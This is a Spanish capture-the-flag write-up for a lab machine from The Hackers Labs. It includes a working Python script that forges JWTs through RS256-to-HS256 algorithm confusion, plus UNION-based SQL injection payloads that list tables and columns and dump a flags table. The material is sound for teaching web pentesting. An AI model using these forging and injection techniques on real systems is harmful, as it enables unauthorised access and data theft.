> For the complete documentation index, see [llms.txt](https://galizaragozadev.gitbook.io/galizaragozadev-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://galizaragozadev.gitbook.io/galizaragozadev-docs/the-hackers-labs/voucher-avanzado.md).

# Voucher (Avanzado)

Lo primero es averiguar la IP objetivo.

```zsh
netdiscover

192.168.1.160   08:00:27:c5:66:a9      1      60  PCS Systemtechnik GmbH
```

Una vez tenemos la IP inicial, un reconocimiento rápido revela un servidor SSH, y dos web, una por el puerto 80 (Apache default) y otra por el 8080, que parece ser donde hay que investigar más.

```zsh
nmap 192.168.1.160 --top-ports 1000 --open -T5 -A

PORT     STATE SERVICE VERSION  
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:    
|   256 4a:57:d3:b8:32:93:f3:e7:da:cd:8f:75:ad:fb:98:2e (ECDSA)  
|_  256 96:75:da:7a:5b:51:3e:a4:cd:17:b6:36:7d:18:7e:3f (ED25519)  
80/tcp   open  http    Apache httpd 2.4.58 ((Ubuntu))  
|_http-server-header: Apache/2.4.58 (Ubuntu)  
|_http-title: Apache2 Ubuntu Default Page: It works  
8080/tcp open  http    PHP cli server 5.5 or later (PHP 8.3.6)  
|_http-title: CyberShield Academy \xE2\x80\x94 Advanced Cybersecurity Training  
|_http-open-proxy: Proxy might be redirecting requests
```

Después de lanzar varios comandos de reconocmiento con `ffuf`, tenemos la estructura de la página

```zsh
ffuf -u "http://192.168.1.160:8080/FUZZ" -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -c -t 100 -ac -r -e <extensiones> ## Fuzzing de archivos en la raíz

ffuf -u "http://192.168.1.160:8080/FUZZ" -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -c -t 100 -ac -r ## Fuzzing de directorios
```

Analizamos la petición y respuesta al tratar de iniciar sesión, lo cual nos da otro directorio sobre el que fuzzear.

```http
-->

POST /api/auth.php HTTP/1.1
Host: 192.168.1.160:8080
Referer: http://192.168.1.160:8080/login.php

{"email":"test@thl.com","password":"Password"}


<--

HTTP/1.1 401 Unauthorized
Host: 192.168.1.160:8080
{
    "error": "invalid_credentials"
}
```

***

* [**http://192.168.1.160:8080**](http://192.168.1.160:8080)
  * **/login.php**
    * Posible vector de enumeración o fuerza bruta
  * **/courses.php**
    * No deja hacer búsquedas sin el token que nos da auth.php al inicar sesión vía login.php
    * Potencialmente vulnerable a SQL injection
  * **/keys**
    * Directorio
    * Devuelve un 200 OK pero con mensaje "Access denied"
  * **/api**
    * Todo el directorio da 401: `{ "error": "missing_bearer_token" }`
    * **/profile.php**
    * **/admin.php**
    * **/courses.php**
    * **/auth.php**
      * Al hacer petición con cURL: `{ "error": "missing_email_or_password" }`

Si enviamos un token inventado a `/courses.php` para tratar de hacer una búsqueda, devuelve el siguiente error.

```
invalid_token — bad_signature_hs
```

## JSON Web Token

Esto significa que el mecanismo de autenticación, casi con toda seguridad, es JWT. JWT es un mecanismo de autenticación que firma un token desde el lado servidor con una llave y la devuelve al cliente (como se puede ver en el diagrama), a partir de ese punto, el cliente se autentica con el Header `Authorization: Bearer <token>` para acceder a recursos protegidos, en este faso, `/api` y `/courses.php`.

```mermaid
sequenceDiagram
    autonumber
    participant Cliente as 💻 Cliente (Browser/App)
    participant Servidor as 🔐 Servidor de Autenticación
    participant API as ⚙️ API / Recursos Protegidos

    Note over Cliente, Servidor: Fase de Login
    Cliente->>Servidor: Envía credenciales (User, Password)
    Servidor->>Servidor: Verifica credenciales en DB
    
    rect rgb(240, 248, 255)
        Note right of Servidor: Si son válidas, crea el JWT <br/>(Header + Payload + Firma)
        Servidor->>Cliente: Devuelve JWT (Token de acceso)
    end

    Note over Cliente, API: Acceso a Recurso Protegido
    Cliente->>Cliente: Almacena JWT (LocalStorage/Cookie)
    
    Cliente->>API: Solicitud con Header: [Authorization: Bearer <token>]
    
    rect rgb(245, 245, 220)
        API->>API: Verifica la firma del JWT con la Secret Key
        Note right of API: Si el token es válido y no ha expirado
        API->>Cliente: Envía los datos solicitados (JSON/HTML)
    end

    Note over Cliente, API: Si el Token es inválido o expiró
    API-->>Cliente: Error 401 Unauthorized
```

Al fuzzear de nuevo por el directorio `/keys`, esta vez con extensiones típicas de llaves, damos con un archivo `public.pem`.

```zsh
ffuf -u "http://192.168.1.160:8080/keys/FUZZ" -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -e .pub,.pem,.cert,.key -c -ic -ac -t 100

curl http://192.168.1.160:8080/keys/public.pem  
-----BEGIN PUBLIC KEY-----  
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApDzyDfHCClQNka8/CF2q  
Il0c0hvfIYS6eFHvMW8z+ERBfUls3UijaFWHYMUKPEuWQIeDbbact225OZNVt6gH  
CyPP9DEmr0AEKTqd6vc0nAOFhRPim4wFe5Eedq5RVcqpRhd4uchEKGzYNa6XLm37  
lX0GmWt2dpWx/wcrGiBqvpCieh89CTUvINVhFHhFnX44T/3atJkXaYQu330wYs8v  
2ge/sEHI988fpGv74liVh7q/nhrOf8ZXFE3MOJNOp9sCtL4HFASAc/RXwuoErjW0  
tcAiatPYlrWIFezMpFXEiTf5vXG9Zj0K7vFhJUN+QaxTrmH988LhRxsMUhzZZ/sb  
nwIDAQAB  
-----END PUBLIC KEY-----

curl -o key.pem http://192.168.1.160:8080/keys/public.pem  
```

Ya con la llave, genero un script en python (se hace con script porque el token generado por la [herramienta web](https://www.jwt.io/) da error) que creará un token intentando explotar JWT Algorithm Confusion, un ataque que fuerza al servidor a verificar el token usando un algoritmo de baja calidad criptográfica, en este caso, en lugar de autenticar vía RSA, se degrada el algoritmo a HS256, forzando al servidor a usar una única llave en la firma y verificación del token.

```python
import base64  
import hmac  
import hashlib  
import json  
  
# 1. Carga la llave EXACTA (asegúrate de que key.pem sea el archivo original)  
with open('key.pem', 'rb') as f:  
   key = f.read()  
  
# 2. Define el Header y el Payload  
header = {"alg": "HS256", "typ": "JWT"}  
payload = {  
   "username": "admin",  
}  
  
# Funciones para Base64Url (sin padding '=')  
def b64_encode(data):  
   return base64.urlsafe_b64encode(data).decode('utf-8').replace('=', '')  
  
# 3. Serializar y codificar las partes  
header_json = json.dumps(header, separators=(',', ':')).encode()  
payload_json = json.dumps(payload, separators=(',', ':')).encode()  
  
signing_input = f"{b64_encode(header_json)}.{b64_encode(payload_json)}".encode()  
  
# 4. Firmar con HMAC-SHA256 usando la llave pública como SECRET  
signature = hmac.new(key, signing_input, hashlib.sha256).digest()  
  
# 5. Token Final  
token = f"{signing_input.decode()}.{b64_encode(signature)}"  
print(token)
```

Ahora, se prueba a hacer una query con el token obtenido

```zsh
python3 forge.py  

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.ZwcSn--iEYcF2r8q0iGn7DJb_y9Bjco2sRpUR9fIp98

curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.ZwcSn--iEYcF2r8q0iGn7DJb_y9Bjco2sRpUR9fIp98" "http://192.168.1.160:8080/api/courses.php?q=test"  
{  
   "results": [],  
   "sql_error": "SQLSTATE[HY000] [2002] Connection refused"  
}
```

Bingo, ya estamos autenticados, de todas formas el laboratorio está roto, porque después de trastear un poco veo que el error no es normal, lo descargo de nuevo y esta vez ya funciona.

```zsh
curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImFkbWluIiwiYWRtaW4iOnRydWUsIml  
hdCI6MTUxNjIzOTAyMn0.kNn62MPcFNIPZN9kxxIOHwzNBcvwwlX4cyN0PZWBZFQ" "http://192.168.1.163:8080/api/courses.php?q=a"  
{  
   "results": [  
       {  
           "id": 1,  
           "title": "Offensive Security Basics",  
           "description": "Hands-on intro to offensive techniques: recon, scanning, basic exploitation."  
       },  
       {  
           "id": 2,  
           "title": "Web App Pentesting",  
           "description": "OWASP Top 10, manual testing workflows, tooling, and reporting."  
       },  
       {  
           "id": 3,  
           "title": "Active Directory Attacks",  
           "description": "From enumeration to DCSync, tickets, and defenses."  
       },  
       {  
           "id": 4,  
           "title": "Cloud Security 101",  
           "description": "Threat modeling and security controls across major cloud providers."  
       }  
   ],  
   "sql_error": null  
}
```

Usando el repeater de Burp empiezo a probar distintos payloads, por ejemplo

```http
GET /api/courses.php?q='elephant

{
    "results": [],
    "sql_error": "SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'elephant%' OR description LIKE '%'elephant%'' at line 1"
}
```

## SQLi

Después de ir probando distintos intentos de inyección, finalmente doy con el nombre de las tablas (he recortado la respuesta para mayor legibilidad)

```http
--> 
GET /api/courses.php?q='+UNION+SELECT+1,+group_concat(table_name),+3+FROM+information_schema.tables+WHERE+table_schema%3ddatabase()--+-
Host: 192.168.1.163:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImFkbWluIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.kNn62MPcFNIPZN9kxxIOHwzNBcvwwlX4cyN0PZWBZFQ 
 

<--
HTTP/1.1 200 OK
Host: 192.168.1.163:8080
...
        {
            "id": 1,
            "title": "flags,courses,users",
            "description": "3"
        }
    ],
    "sql_error": null
}
}
```

Después, las columnas.

```http
-->
GET /api/courses.php?q='+UNION+SELECT+1,+group_concat(column_name),+3+FROM+information_schema.columns+WHERE+table_name%3d'users'--+- HTTP/1.1
Host: 192.168.1.163:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImFkbWluIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.kNn62MPcFNIPZN9kxxIOHwzNBcvwwlX4cyN0PZWBZFQ 

<--
HTTP/1.1 200 OK
Host: 192.168.1.163:8080
...
        {
            "id": 1,
            "title": "id,email,password_hash,role,created_at",
            "description": "3"
        }
    ],
    "sql_error": null
}
```

Entonces, cuando ya estaba pensando en contraseñas y fuerza bruta, me fijo en la tabla de *flags*, y pruebo a extraer el valor de ella, con el procedimiento anterior, saco los valores `name` y `flag_value`. Al extraerlos y probarlos en THL, efectivamente, son las flags.

```http
-->
GET /api/courses.php?q='+UNION+SELECT+1,+group_concat(name,+'%3a',+flag_value),+3+FROM+flags--+- HTTP/1.1
Host: 192.168.1.163:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImFkbWluIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.kNn62MPcFNIPZN9kxxIOHwzNBcvwwlX4cyN0PZWBZFQ 


<--
HTTP/1.1 200 OK
Host: 192.168.1.163:8080
...
        {
            "id": 1,
            "title": "PRELIM:c****************,FINAL:8************",
            "description": "3"
        }
    ],
    "sql_error": null
}
```
